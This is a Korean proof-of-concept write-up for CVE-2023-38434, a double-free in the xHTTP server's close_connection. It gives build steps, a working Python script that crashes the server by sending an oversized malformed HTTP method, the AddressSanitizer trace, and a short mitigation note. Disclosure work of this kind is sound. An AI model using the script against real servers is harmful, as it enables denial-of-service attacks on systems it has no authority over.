
CVE-2023-38434에 대한 개념 증명
xHTTP 커밋 72f812d 이하 버전에서는 xhttp.c의 595행에 있는 close_connection에서 이중 해제(double free) 취약점이 발생합니다.
if(conn->request.public.headers.list != NULL)
free(conn->request.public.headers.list);
취약점을 확인하려면 이 저장소에 포함된 xHTTP 서버를 디버그 심볼과 address sanitizer를 사용하여 컴파일하세요:
unzip xHTTP.zip
cd xHTTP-main
gcc example.c xhttp.c -o main -fsanitize=address -g
서버가 컴파일되면 8080 포트에서 서버를 시작하세요:
$ ./main
이중 해제는 잘못된 형식의 HTTP 요청 메서드를 통해 트리거될 수 있습니다. 예를 들어, 다음 python3 스크립트는 잘못된 형식의 HTTP 요청 메서드를 사용해 대상 서버에 요청하여 이중 해제를 트리거합니다.
#!/usr/bin/env python3
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('localhost', 8080))
http_headers = (
#Request - http_headers
b'MALFORMEDMETHOD'*1000 + # HTTP Method (POST Request). Sending malformed HTTP Methods invokes a double free in xHTTP
b' '
b'/'
b' HTTP/1.0'
b'\r\n'
b'Host: '
b'localhost'
b':'
b'8080'
b'\r\n'
b'Accept-Encoding: '
b'identity'
b'\r\n'
b'Content-Type: ' #Content type
b'application/json' #JSON content type
b'\r\n'
b'Connection: close\r\n'
b'User-Agent: '
b'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246'
b'\r\n'
b'Content-Length: '
b'152' #Size - Content-Length_size
b'\r\n'
b'\r\n' #Delim - crlf_headers_body
#Block - post_body
b'data=Somepostdata'
)
sock.send(http_headers)
sock.recv(65535)
sock.close()
서버가 실행되고 나면 python3 스크립트를 저장하고 실행하여 이중 해제를 트리거하세요.
$ python3 poc.py
서버는 충돌하고, address sanitizer는 이중 해제 위치에 대한 자세한 정보를 제공합니다.
=================================================================
==460363==ERROR: AddressSanitizer: attempting double-free on 0x611000000040 in thread T0:
#0 0x7f7cfaab76a8 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
#1 0x562a5c0a1727 in close_connection /home/kali/projects/fuzzing/xHTTP/xhttp.c:595
#2 0x562a5c0a9406 in xhttp /home/kali/projects/fuzzing/xHTTP/xhttp.c:1749
#3 0x562a5c09f693 in main /home/kali/projects/fuzzing/xHTTP/example.c:37
#4 0x7f7cfa846189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#5 0x7f7cfa846244 in __libc_start_main_impl ../csu/libc-start.c:381
#6 0x562a5c09f420 in _start (/home/kali/projects/fuzzing/xHTTP/main+0x5420)
0x611000000040 is located 0 bytes inside of 256-byte region [0x611000000040,0x611000000140)
freed by thread T0 here:
#0 0x7f7cfaab76a8 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
#1 0x562a5c0a3a4b in parse /home/kali/projects/fuzzing/xHTTP/xhttp.c:868
#2 0x562a5c0a7371 in when_data_is_ready_to_be_read /home/kali/projects/fuzzing/xHTTP/xhttp.c:1459
#3 0x562a5c0a92e0 in xhttp /home/kali/projects/fuzzing/xHTTP/xhttp.c:1735
#4 0x562a5c09f693 in main /home/kali/projects/fuzzing/xHTTP/example.c:37
#5 0x7f7cfa846189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
previously allocated by thread T0 here:
#0 0x7f7cfaab78d5 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
#1 0x562a5c0a2dca in parse /home/kali/projects/fuzzing/xHTTP/xhttp.c:813
#2 0x562a5c0a7371 in when_data_is_ready_to_be_read /home/kali/projects/fuzzing/xHTTP/xhttp.c:1459
#3 0x562a5c0a92e0 in xhttp /home/kali/projects/fuzzing/xHTTP/xhttp.c:1735
#4 0x562a5c09f693 in main /home/kali/projects/fuzzing/xHTTP/example.c:37
#5 0x7f7cfa846189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: double-free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52 in __interceptor_free
' conn->request.public.headers.list '가 한 번만 해제되도록 추가 검사를 구현하면 이 취약점을 완화할 수 있습니다.